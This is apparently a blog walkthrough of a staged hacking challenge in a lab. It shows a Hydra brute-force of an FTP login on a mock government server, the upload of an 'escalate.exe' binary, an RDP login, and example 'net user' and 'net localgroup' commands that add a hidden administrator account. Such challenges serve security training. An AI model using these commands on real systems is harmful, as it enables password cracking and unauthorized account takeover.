Hacking Challenge - Phase 4
Hacking Challenge - Phase 4
© Paul W. Poteete, 2016
This is the entire process:
ppoteete@ventfoo ~ $ hydra -l AGENT_269694 -x 3:3:1 192.168.1.223 ftp -F
Hydra v8.1 (c) 2014 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.
Hydra (http://www.thc.org/thc-hydra) starting at 2016-04-19 13:00:35
[DATA] max 16 tasks per 1 server, overall 64 tasks, 1000 login tries (l:1/p:1000), ~0 tries per task
[DATA] attacking service ftp on port 21
[21][ftp] host: 192.168.1.223 login: AGENT_269694 password: 971
[STATUS] attack finished for 192.168.1.223 (valid pair found)
1 of 1 target successfully completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2016-04-19 13:00:36
ppoteete@ventfoo ~ $ cd /tmp/
ppoteete@ventfoo tmp $ ll
total 124K
rw-r--r- 1 ppoteete ppoteete 106K Apr 19 11:44 escalate.exe
srwxr-xr-x 1 ppoteete ppoteete 0 Apr 19 12:43 gedit.ppoteete.3111799590
drwxr-xr-x 2 ppoteete ppoteete 4.0K Apr 19 11:45 hsperfdata_ppoteete
drwxrwxrwx 2 ppoteete ppoteete 4.0K Apr 19 2016 mintUpdate
drwx------ 2 ppoteete ppoteete 4.0K Jan 1 1970 orbit-ppoteete
drwx------ 2 ppoteete ppoteete 4.0K Apr 19 2016 ssh-OeJXH9wWtjsy
ppoteete@ventfoo tmp $ ftp 192.168.1.223
Connected to 192.168.1.223.
220-Microsoft FTP Service
.::WARNING::.
This is a restricted government web site for official use only.
Unauthorized entry is prohibited and subject to prosecution under Title 18 of the U.S. Code.
220 All activities and access attempts are logged.
Name (192.168.1.223:ppoteete): AGENT_269694
331 Password required for AGENT_269694.
Password:
230-Welcome to the Federal Services Data System. The system will undergo maintenance at 0600hrs during all operational field days.
230 User AGENT_269694 logged in.
Remote system type is Windows_NT.
ftp] binary
200 Type set to I.
ftp] put escalate.exe
local: escalate.exe remote: escalate.exe
200 PORT command successful.
150 Opening BINARY mode data connection for escalate.exe.
226 Transfer complete.
108497 bytes sent in 0.00 secs (160780.1 kB/s)
ftp] ls
200 PORT command successful.
150 Opening ASCII mode data connection for /bin/ls.
-rwxrwxrwx 1 owner group 108497 Apr 19 13:01 escalate.exe
226 Transfer complete.
ftp] exit
221 Error - Database Corrupted - CyberWarfare Scenario Instigated
ppoteete@ventfoo tmp $ rdesktop -u AGENT_269694 -p 971 192.168.1.223
Windows Commands Required:
] net user
] net localgroup
Example:
] net user /add H00123456 H00123456 /comment:"Security Manager" /Fullname:"First Last" /active:yes
] net localgroup /add Administrators H00123456
Please join me:
/ paulwpoteete
/ paulwpoteete
/ paulwpoteete
/ paulwpoteete
https://plus.google.com/+PaulWPoteete
/ paulwpoteete
Thank you for visiting,
Paul